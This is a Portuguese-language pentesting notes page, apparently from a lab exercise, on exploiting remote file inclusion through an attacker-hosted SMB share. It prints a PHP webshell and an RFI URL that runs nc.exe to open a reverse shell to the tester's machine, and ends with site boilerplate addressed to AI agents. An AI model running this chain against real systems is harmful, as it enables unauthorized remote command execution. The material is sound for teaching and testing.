> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# RFI com Servidor SMB

#### Teste de RFI via servidor web remoto:

Tentamos fazer upload de um arquivo remoto pela URL `?lang=http://10.10.14.3/index.html` apontando para nosso servidor web local com Python3.

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

mas isso não funcionou.

<figure><img src="/files/7f4d97902c5f91f929afb48d1092f668a23c0737" alt="" width="518"><figcaption></figcaption></figure>

**Criação de um servidor SMB:** Criamos um servidor SMB local com `smbserver.py` e compartilhamos o diretório atual:

```bash
smbserver.py share $(pwd) -smb2support

```

Em seguida, tentamos fazer upload de um arquivo do servidor SMB modificando o parâmetro `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* Desta vez, o servidor interpretou corretamente nosso arquivo `index.html`, exibindo seu conteúdo ("Hello World").

<figure><img src="/files/50f183b220af6478a1241420a46b0c30e1e9c361" alt="" width="563"><figcaption></figcaption></figure>

**Criação de um webshell PHP (`cmd.php)`** Criamos um arquivo `cmd.php` em nosso servidor SMB para executar comandos remotamente via o parâmetro `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**Execução de comandos via SMB**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

Usando a URL abaixo, executamos o comando `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="/files/6661a0f14e5409b36365d78aa8dd908fdad3f7d5" alt="" width="563"><figcaption></figcaption></figure>

### Shell reversa (nc.exe)

**Download de `nc.exe` para a shell reversa:**/ Nós recuperamos o `nc.exe` binário das ferramentas de fuzzing em `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` e o copiamos para o diretório de trabalho.

```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**Escutando na porta 443:**/ Nós configuramos um `nc` listener na porta 443:

```bash
rlwrap nc -nvlp 443

```

**Execução de comando da shell reversa via SMB:**/ Em seguida, iniciamos uma shell reversa apontando o parâmetro `cmd` para nosso arquivo

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

Obtivemos, assim, uma shell reversa para nossa máquina.

<figure><img src="/files/4c7a8a2fe7ec77e5596ae49a35793f3ec450696d" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
